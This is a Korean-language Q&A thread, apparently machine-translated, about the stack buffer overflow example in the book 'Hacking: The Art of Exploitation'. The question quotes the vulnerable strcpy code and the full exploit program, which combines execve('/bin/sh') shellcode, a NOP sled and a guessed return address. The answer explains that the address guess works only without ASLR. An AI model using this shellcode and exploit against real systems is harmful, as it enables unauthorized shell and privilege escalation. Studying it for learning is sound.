2012-01-02 5 views
8

나는이 책을 읽었습니다. Art of Exploitation을 읽었습니다.이 책은 다소 좋은 책이며 exploit_notesearch.c 파일에서이 예제를 실행합니다.Exploitation book의 아트에서 버퍼 오버플로 예

간단히 저자는 메인 함수의 인수는 검색 문장 배열에 복사

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

notesearch.c에서 프로그램을 오버플로 인수가 100 바이트보다 큰 경우는의 반환 주소를 오버플로 시도 주요 기능.

저자는 exploit_notesearch.c에 쉘 코드를 준비하고 당신은 그 쉘 코드가 NOP 썰매와 결합 참조하고 NOP 썰매를 표시해야한다 주소를 반환 할 수 있습니다

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

취약 notesearch.c 호출합니다. 저자는 지역 변수 i의 주소를 참조 점으로 사용하고 270 바이트를 빼서 NOP 슬 레드의 대략적인 위치를 계산합니다.

필자는 취약한 notesearch.c의 main 함수의 스택 프레임이 exploit_notesearch.c의 main 함수의 스택 프레임과 동일한 스택 세그먼트에 있다고 가정합니다. 로컬 변수의 주소를 가지고이 조작 만하면됩니다.

그러나 저자는이 시스템 (명령)과 같이 system()의 도움으로 취약한 notesearch.c를 호출합니다. 나의 요점은이 함수 시스템()이 fork()를 사용하여 자식 프로세스를 생성 한 후 exec() 함수를 사용하여 프로세스의 이미지를 변경한다는 것입니다. 하지만 이미지가 변경되면 스택 세그먼트가 신선 해지고 exploit_notesearch.c의 주 기능에있는 로컬 변수 i의 주소를 가진 모든 조작이 쓸모 없게되지만 어떻게 든이 악용은 완전히 혼란 스럽습니다.

답변

11

저자는 단순히 C 컴파일러는 운영 체제가 address randomization (ASLR)을 수행하지 않습니다 가상 동일한 (또는 매우 유사한) 주소 에서 두 프로그램의 스택을 배치한다고 가정합니다. 이것은 두 주요 기능의 스택 프레임이 대략 동일한 위치에 있다는 것을 의미하므로이 취약점을 악용 할 수 있습니다.

이것은 대부분의 최신 64 비트 시스템에서 실패 할 것 같은 상상할 수있는 것처럼 매우 강력한 공격 방법은 아닙니다. 보다 강력한 공격은 return oriented programming의 형식을 사용하거나 기존 스택 프레임에 대한 포인터 char *argv을 사용하려고 시도 할 수 있습니다.

+0

Niklas가 대답 해 주셔서 감사합니다. –

+0

Niklas가 대답 해 주셔서 감사합니다. 그것은 자식 프로세스가 parrent 프로세스의 esp에 저장된 값을 사용할 부모 프로세스와 자식 프로세스 사이의 운영 체제 가상 메모리 할당의 특수한 속성입니까? 저자가 270 바이트를 빼면 취약한 하위 프로세스의 가상 주소가 스택 세그먼트에서 더 낮을 것이라고 가정합니다. 예를 들어, 상위 프로세스가 자신의 작업을 수행하고 최대 0hffff4534의 스택 세그먼트에서 주소를 사용 했으므로 하위 프로세스가 해당 가상 주소에서 계속 진행할 것입니까? 그렇지 않은 경우,이를 설명 할 수있는 좋은 매뉴얼이나 튜토리얼이 있습니까? 미리 감사드립니다. –

+0

제가 잘못하면 pls를 바로 잡을 수 있습니까? 두 프로세스가 스택 세그먼트에 대해 동일한 가상 주소를 할당하기 때문에 가능하지만, 취약한 주 기능이 로컬 변수에 많은 바이트를 할당해야하기 때문에이 공격이 가능하다는 것을 알고 있습니다. searchstring은 스택에서 더 낮을 것이라고 가정 할 수 있습니다. –